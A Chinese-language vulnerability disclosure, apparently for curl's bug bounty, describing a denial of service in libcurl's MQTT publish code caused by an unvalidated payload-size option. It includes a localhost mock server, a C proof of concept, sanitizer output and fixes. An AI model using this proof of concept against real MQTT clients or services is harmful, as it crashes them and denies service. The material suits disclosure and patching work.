libcurl MQTT CURLOPT_POSTFIELDSIZE_LARGE 溢出导致即时DoS
摘要
攻击者可以通过为CURLOPT_POSTFIELDSIZE_LARGE设置过大的值,使任何使用libcurl MQTT支持的应用程序崩溃或强制中止。MQTT发布逻辑(lib/mqtt.c::mqtt_publish)信任此值而不验证其是否符合协议的最大剩余长度(268,435,455),也不检查算术溢出。结果,它尝试分配一个不可能的大缓冲区(数EB),并立即失败,导致进程终止并引发拒绝服务。
影响
可用性:任何允许不受信任的输入影响CURLOPT_POSTFIELDSIZE(_LARGE)的服务(例如,用户控制的消息长度或代理的MQTT请求)都可以立即被关闭。单个恶意请求就足以触发崩溃。
稳定性:即使在非ASan构建中,调用始终返回CURLE_OUT_OF_MEMORY;将此视为致命的应用程序(MQTT生产者的常见情况)将关闭。当使用清理器编译时,进程会因"分配大小过大"断言而立即中止。
范围:不需要身份验证或中间人能力。只需让客户端构造一个具有巨大长度值的发布请求即可触发该错误。
攻击场景
- 攻击者说服基于libcurl的MQTT客户端或网关发布一个消息,其大小字段设置为约4 EB(或任何超过0x0FFFFFFF的值)。
- 客户端调用
curl_easy_setopt(handle, CURLOPT_POSTFIELDSIZE_LARGE, huge_value)并最终调用curl_easy_perform()。
- 在
mqtt_publish内部,libcurl将MQTT剩余长度计算为payloadlen + topiclen + 2,这会绕回或超过MQTT规范限制。然后调用malloc(remaininglength + 1 + encodelen)。
malloc()无法满足请求并中止(ASan)或返回NULL(如果allocator_may_return_null=1)。无论哪种情况,应用程序都会死亡或进入失败状态,导致拒绝服务,而从未将有效负载发送到代理。
概念验证
需要两个文件:一个最小的MQTT模拟服务器和一个设置超大有效负载长度的客户端PoC。
mqtt_server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
import socket
HOST, PORT = "127.0.0.1", 1883
CONNACK = b"\x20\x02\x00\x00"
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(1)
print(f"[server] listening on {HOST}:{PORT}")
conn, addr = s.accept()
with conn:
print(f"[server] accepted connection from {addr}")
data = conn.recv(1024)
print(f"[server] received {len(data)} bytes")
conn.sendall(CONNACK)
print("[server] sent CONNACK")
conn.recv(1024)
print("[server] received publish (possibly truncated)")
|
mqtt_overflow.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
#include <curl/curl.h>
#include <stdio.h>
int main(void)
{
CURL *curl = curl_easy_init();
if(!curl) {
fprintf(stderr, "curl_easy_init failed\n");
return 1;
}
const char payload[] = "X"; /* 实际数据:1字节 */
const curl_off_t fake_size = ((curl_off_t)1 << 62); /* 广告约4 EB */
curl_easy_setopt(curl, CURLOPT_URL, "mqtt://127.0.0.1:1883/topic");
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, payload);
curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE_LARGE, fake_size);
curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT_MS, 2000L);
curl_easy_setopt(curl, CURLOPT_TIMEOUT_MS, 3000L);
curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
fprintf(stderr, "[*] requesting payload size: %lld\n", (long long)fake_size);
CURLcode res = curl_easy_perform(curl);
fprintf(stderr, "curl_easy_perform: %d\n", res);
curl_easy_cleanup(curl);
return (int)res;
}
|
构建与运行
1
2
3
4
5
6
7
8
9
10
11
12
|
# 使用CMake配置和构建启用MQTT的libcurl
cmake -S . -B build-mqtt -DCMAKE_BUILD_TYPE=Debug -DCURL_USE_LIBPSL=OFF
cmake --build build-mqtt --target libcurl_shared -- -j8
# 使用AddressSanitizer编译PoC
clang -fsanitize=address -Iinclude -Ibuild-mqtt/lib \
-Lbuild-mqtt/lib -Wl,-rpath,build-mqtt/lib \
build-mqtt/poc/mqtt_overflow.c -lcurl-d -o build-mqtt/poc/mqtt_overflow
# 启动模拟服务器并执行PoC
python3 build-mqtt/poc/mqtt_server.py &
build-mqtt/poc/mqtt_overflow
|
观察到的输出(ASan构建)
1
2
3
4
5
6
7
|
[*] requesting payload size: 4611686018427387904
* Trying 127.0.0.1:1883...
* Established connection to 127.0.0.1 (127.0.0.1 port 1883) from 127.0.0.1 port 62013
* Using client id 'curlgqXILtsX'
==12584==ERROR: AddressSanitizer: requested allocation size 0x400000000000000c ...
SUMMARY: AddressSanitizer: allocation-size-too-big mqtt.c:616 in mqtt_publish
==12584==ABORTING
|
观察到的输出(分配器可能返回NULL)
1
2
3
4
|
$ ASAN_OPTIONS=allocator_may_return_null=1 build-mqtt/poc/mqtt_overflow
[*] requesting payload size: 4611686018427387904
==13457==WARNING: AddressSanitizer failed to allocate 0x400000000000000c bytes
curl_easy_perform: 27
|
模拟服务器日志确认连接已打开,返回了CONNACK,客户端在尝试发布时立即终止。
根本原因
摘自lib/mqtt.c:
1
2
3
4
5
6
7
8
9
10
|
remaininglength = payloadlen + 2 + topiclen;
encodelen = mqtt_encode_len(encodedbytes, remaininglength);
pkt = malloc(remaininglength + 1 + encodelen);
if(!pkt) {
result = CURLE_OUT_OF_MEMORY;
goto fail;
}
...
memcpy(&pkt[i], payload, payloadlen);
|
payloadlen直接来自CURLOPT_POSTFIELDSIZE_LARGE。
- 没有检查
payloadlen是否在MQTT规范(最大剩余长度0x0FFFFFFF)或任何安全内存边界内。
remaininglength + 1 + encodelen在size_t中计算,因此它可以绕回或超过实际内存限制。
- 失败时,函数永远不会到达发布阶段,有效地在发送任何数据之前使客户端崩溃。
推荐的缓解措施
- 验证payloadlen:拒绝任何
payloadlen > 0x0FFFFFFF - (topiclen + 2)的请求,并返回CURLE_BAD_FUNCTION_ARGUMENT。
- 溢出保护:在调用
malloc之前,确保总和remaininglength + 1 + encodelen不会溢出并适合合理的边界。
- 协议合规性:考虑将
mqtt_encode_len限制为4字节,并在编码长度超过MQTT的剩余长度限制时中止。
- 回归测试:添加一个单元或集成测试,尝试设置过大的
CURLOPT_POSTFIELDSIZE_LARGE并确保调用优雅地失败。
环境
- macOS 15.0 (24A335)
- Apple Clang 17.0.0.17000319
- curl 8.17.1-dev(启用MQTT的CMake构建)
- AddressSanitizer(默认设置)和没有ASan的libc运行时
严重性
中等 — 通过整数溢出/不受控制的资源消耗导致的拒绝服务(CWE-190 / CWE-400)。
参考资料
- MQTT规范(v3.1.1)— 剩余长度字段限制为268,435,455
- curl安全程序:https://hackerone.com/curl
影响
- 远程攻击者可以通过广告超大的MQTT有效负载来强制终止任何基于libcurl的MQTT客户端或服务。
- 畸形请求导致libcurl尝试分配数EB,这会立即中止进程(ASan)或返回
CURLE_OUT_OF_MEMORY,有效地拒绝服务。
- 不需要身份验证或特殊的网络位置;单个恶意发布请求就足以使应用程序崩溃。